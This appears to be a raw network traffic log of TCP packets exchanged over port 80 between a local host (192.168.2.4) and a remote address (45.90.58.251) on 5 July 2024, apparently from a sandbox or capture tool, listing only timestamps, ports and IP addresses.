Jul 5, 2024 07:48:46.700675011 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:46.700692892 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:46.700809002 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:46.700824022 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:46.700886965 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:46.700900078 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:46.700917006 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:46.700931072 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:46.702104092 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:46.703471899 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:46.703485966 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:46.703500986 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:46.703543901 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:46.703572989 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:46.803527117 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:46.803563118 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:46.803580046 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:46.803596020 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:46.803603888 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:46.803646088 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:46.803663969 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:46.803755045 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:46.803767920 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:46.803782940 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:46.803797007 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:46.803812981 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:46.804171085 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:46.804176092 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:46.804188967 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:46.804228067 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:46.804418087 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:46.804431915 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:46.804445028 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:46.804454088 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:46.804480076 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:46.804691076 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:46.804702997 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:46.804742098 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:46.804882050 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:46.805062056 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:46.805074930 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:46.805105925 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:46.805212021 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:46.805224895 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:46.805243015 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:46.805254936 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:46.805274010 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:46.805285931 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:46.805288076 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:46.805334091 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:46.805990934 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:46.806005955 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:46.806020975 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:46.806041956 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:46.806123972 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:46.806138039 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:46.806155920 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:46.806267023 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:46.806281090 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:46.806296110 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:46.806302071 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:46.806325912 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:46.806354046 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:46.806377888 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:46.806392908 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:46.806406975 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:46.806411028 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:46.806422949 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:46.806438923 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:46.806442022 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:46.806454897 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:46.806468010 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:46.806751966 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:46.806766033 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:46.806785107 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:46.806786060 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:46.806824923 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:46.806932926 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:46.806946993 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:46.806962967 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:46.806978941 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:46.806981087 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:46.807008982 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:46.807070017 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:46.807084084 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:46.807099104 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:46.807112932 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:46.810058117 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:46.810079098 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:46.810101032 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:46.855210066 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:46.909754992 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:46.909892082 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:46.909903049 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:46.909914970 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:46.909928083 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:46.909976959 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:46.910007954 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:46.910034895 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:46.910048008 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:46.910058975 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:46.910082102 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:46.910095930 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:46.910216093 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:46.910423994 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:46.910437107 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:46.910453081 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:46.910464048 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:46.910489082 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:46.910593033 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:46.910604954 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:46.910615921 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:46.910634041 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:46.910634041 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:46.910661936 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:46.910672903 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:46.910679102 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:46.910706043 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:46.910845995 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:46.910856962 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:46.910867929 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:46.910881042 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:46.910890102 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:46.910914898 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:46.910995007 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:46.911009073 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:46.911021948 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:46.911057949 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:46.911144972 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:46.911158085 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:46.911170006 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:46.911189079 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:46.911215067 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:46.911313057 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:46.911324978 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:46.911336899 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:46.911355019 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:46.911366940 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:46.911372900 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:46.911381960 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:46.911395073 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:46.911417961 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:46.911544085 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:46.911565065 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:46.911602974 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:46.911701918 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:46.911712885 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:46.911725044 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:46.911739111 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:46.911745071 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:46.911770105 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:46.911854029 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:46.911864996 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:46.911897898 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:46.911997080 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:46.912012100 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:46.912024975 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:46.912055969 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:46.912142992 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:46.912168026 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:46.912188053 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:46.912295103 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:46.912312031 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:46.912322998 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:46.912334919 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:46.912338018 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:46.912349939 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:46.915040970 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:46.915052891 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:46.915065050 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:46.915090084 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:46.915108919 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:46.915179968 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:46.964601994 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:47.010252953 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:47.010343075 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:47.015722990 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:47.015767097 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:47.015779972 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:47.015825033 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:47.015857935 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:47.015872002 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:47.015887022 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:47.015901089 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:47.015927076 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:47.016015053 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:47.016027927 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:47.016042948 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:47.016079903 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:47.016086102 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:47.016099930 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:47.016123056 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:47.016190052 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:47.016205072 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:47.016218901 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:47.016232014 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:47.016259909 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:47.016330004 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:47.016344070 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:47.016357899 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:47.016380072 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:47.016444921 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:47.016457081 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:47.016496897 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:47.016518116 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:47.016530037 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:47.016558886 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:47.016792059 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:47.016840935 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:47.016851902 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:47.016865015 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:47.016879082 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:47.016900063 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:47.016932011 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:47.016947031 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:47.016961098 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:47.016973019 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:47.016995907 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:47.017847061 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:47.017905951 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:47.017918110 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:47.017944098 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:47.018044949 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:47.018060923 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:47.018074989 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:47.018085003 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:47.018107891 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:47.018192053 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:47.018204927 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:47.018218040 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:47.018229008 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:47.018240929 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:47.018264055 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:47.018413067 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:47.018425941 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:47.018439054 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:47.018451929 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:47.018460035 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:47.018465996 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:47.018490076 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:47.018672943 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:47.018686056 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:47.018697023 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:47.018713951 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:47.018716097 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:47.018726110 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:47.018728971 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:47.018769026 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:47.018906116 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:47.018917084 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:47.018951893 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:47.071022034 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:47.071077108 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:47.071089029 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:47.071176052 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:47.122143030 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:47.122154951 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:47.122165918 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:47.122201920 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:47.122258902 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:47.122277975 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:47.122293949 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:47.122407913 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:47.122421026 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:47.122432947 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:47.122447014 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:47.122478962 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:47.122510910 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:47.122522116 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:47.122534037 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:47.122555017 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:47.122661114 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:47.122673035 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:47.122706890 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:47.122807980 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:47.122818947 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:47.122839928 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:47.122845888 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:47.122854948 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:47.122869015 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:47.122875929 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:47.122883081 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:47.122900963 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:47.122941017 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:47.122952938 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:47.122982025 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:47.124505043 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:47.124526978 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:47.124537945 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:47.124553919 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:47.124588966 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:47.124605894 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:47.124617100 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:47.124658108 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:47.124727964 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:47.124741077 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:47.124771118 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:47.124844074 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:47.124856949 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:47.124869108 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:47.124897003 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:47.124936104 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:47.124975920 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:47.125009060 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:47.125021935 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:47.125052929 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:47.125166893 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:47.125178099 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:47.125190973 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:47.125205040 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:47.125217915 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:47.125219107 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:47.125247955 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:47.125344038 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:47.125386000 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:47.125417948 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:47.125431061 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:47.125442982 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:47.125457048 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:47.125462055 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:47.125471115 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:47.125498056 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:47.126027107 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:47.126039028 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:47.126050949 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:47.126064062 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:47.126072884 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:47.126077890 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:47.126091957 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:47.126106977 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:47.126127005 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:47.177396059 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:47.177423954 CEST	80	63881	45.90.58.251	192.168.2.4
